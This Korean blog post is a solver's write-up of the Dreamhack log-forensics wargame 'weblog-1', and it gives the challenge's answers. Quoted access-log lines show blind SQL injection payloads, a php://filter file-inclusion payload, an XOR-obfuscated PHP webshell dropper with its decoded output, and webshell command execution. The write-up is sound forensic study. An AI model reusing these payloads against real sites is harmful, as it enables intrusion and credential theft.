weblog-1

mercure·2024년 11월 26일

Dreamhack

목록 보기
5/16

0/5

0/5 라고 적힌걸 보니 5문제나 풀어야 플래그를 얻을 수 있는 것 같다.. 재미는 있을거 같은데 CTF에서 이런 문제 풀다가 막히면 너무 허탈해서 그렇게 좋아하진 않는 유형이다

우선 첫번째 문제는 access.log에서 확인 할 수 있을 것 같다.
우선 password, id 기반 쿼리부터 탐색하던 중 아래의 로그들을 확인할 수 있었다.

172.17.0.1 - - [02/Jun/2020:09:51:22 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2020,1))=94,%20(select%201%20union%20select%202),%200) HTTP/1.1" 200 841 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:51:22 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2020,1))=95,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:51:22 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2020,1))=96,%20(select%201%20union%20select%202),%200) HTTP/1.1" 200 841 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"

ord를 보아 ascii코드 임을 유추 할 수 있으며, 94, 95 ,96으로 바뀌는 것으로 보아 특정 숫자 범위를 넣어가며 자릿수를 맞춰가는 것 같다.
응답코드가 200, 500이 있는데 500이 자릿수에서 유일하게 존재하기 때문에 500인 경우를 sqli 성공으로 확인하고 500 1192 부분의 ascii코드 부분만 따오면 아래와 같은 결과가 나온다.

97 100 109 105 110 58 84 104 49 115 95 49 115 95 65 100 109 49 110 95 80 64 83 83 44 103 117 101 115 116 58 103 117 101 115 116

이를 변환하면

admin:Th1s_1s_Adm1n_P@SS,guest:guest

1/5

access.log에서 config.php를 검색해보았다.

172.17.0.1 - - [02/Jun/2020:09:54:18 +0000] "GET /admin/?page=php://filter/convert.base64-encode/resource=../config.php HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"

에서 페이로드이므로 /?page= 이후부분 추출

php://filter/convert.base64-encode/resource=../config.php

2/5

172.17.0.1--[02/Jun/2020:09:55:16+0000]"GET/admin/?page=memo.php&memo=<?php function m($l,$T=0){$K=date('Y-m-d');$_=strlen($l);$__=strlen($K);for($i=0;$i<$_;$i++){for($j=0;$j<$__; $j++){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return $l;} m('bmha[tqp[gkjpajpw')(m('+rev+sss+lpih+qthkew+miecaw*tlt'),m('8;tlt$laeav,&LPPT+5*5$040$Jkp$Bkqj&-?w}wpai, [CAP_&g&Y-?')); ?>HTTP/1.1"2001098"-""Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/83.0.4103.61Safari/537.36"
172.17.0.1--[02/Jun/2020:09:55:39+0000]"GET/admin/?page=/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732HTTP/1.1"200735"-""Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/83.0.4103.61Safari/537.36"

1/5 로그 밑에 수상한 php파일을 memo에 업로드한 흔적이 있었다.
따라서
/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732

3/5

위의 로그를 분석하면 아래와 같은 php 코드가 나온다. 이를 통해 php파일을 생성한 것 같다.

172.17.0.1--[02/Jun/2020:09:55:16+0000]"GET/admin/?page=memo.php&memo=<?php function m($l,$T=0){$K=date('Y-m-d');$_=strlen($l);$__=strlen($K);for($i=0;$i<$_;$i++){for($j=0;$j<$__; $j++){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return $l;} m('bmha[tqp[gkjpajpw')(m('+rev+sss+lpih+qthkew+miecaw*tlt'),m('8;tlt$laeav,&LPPT+5*5$040$Jkp$Bkqj&-?w}wpai, [CAP_&g&Y-?')); ?>HTTP/1.1"2001098"-""Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/83.0.4103.61Safari/537.36"

여기에 날짜를 2020-06-02로 대입해서 실행시키면

<?php function m($l,$T=0){$K=date('2020-06-02');$_=strlen($l);$__=strlen($K);for($i=0;$i<$_;$i++){for($j=0;$j<$__; $j++){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return $l;} m('bmha[tqp[gkjpajpw')(m('+rev+sss+lpih+qthke`w+miecaw*tlt'),m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?')); ?>

PHP Warning: file_put_contents(/var/www/html/uploads/images.php): Failed to open stream: No such file or directory in /tmp/main.php on line 1

따라서 웹쉘은 images.php파일이며 경로는

/var/www/html/uploads/images.php

4/5

images.php 검색한 결과 1개 밖에 없었으며 명령어는 whoami다

172.17.0.1 - - [02/Jun/2020:09:56:32 +0000] "GET /uploads/images.php?c=whoami HTTP/1.1" 404 490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"

드디어 풀었다.

이번 워게임을 풀면서 로그기록을 어떻게 해석해야하는지 제대로 배운 것 같다. 나중에 도움이 될 것 같아서 로그 문제들만 찾아서 분석해보고 있는 중인데 은근 재밌는 것 같다. 항상 로그는 그냥 로그구나 하고 넘겼는데 다시 보니까 새롭고 재미있는 것 같다. 포렌식의 재미인가 이게

profile
하루에 한걸음씩

0개의 댓글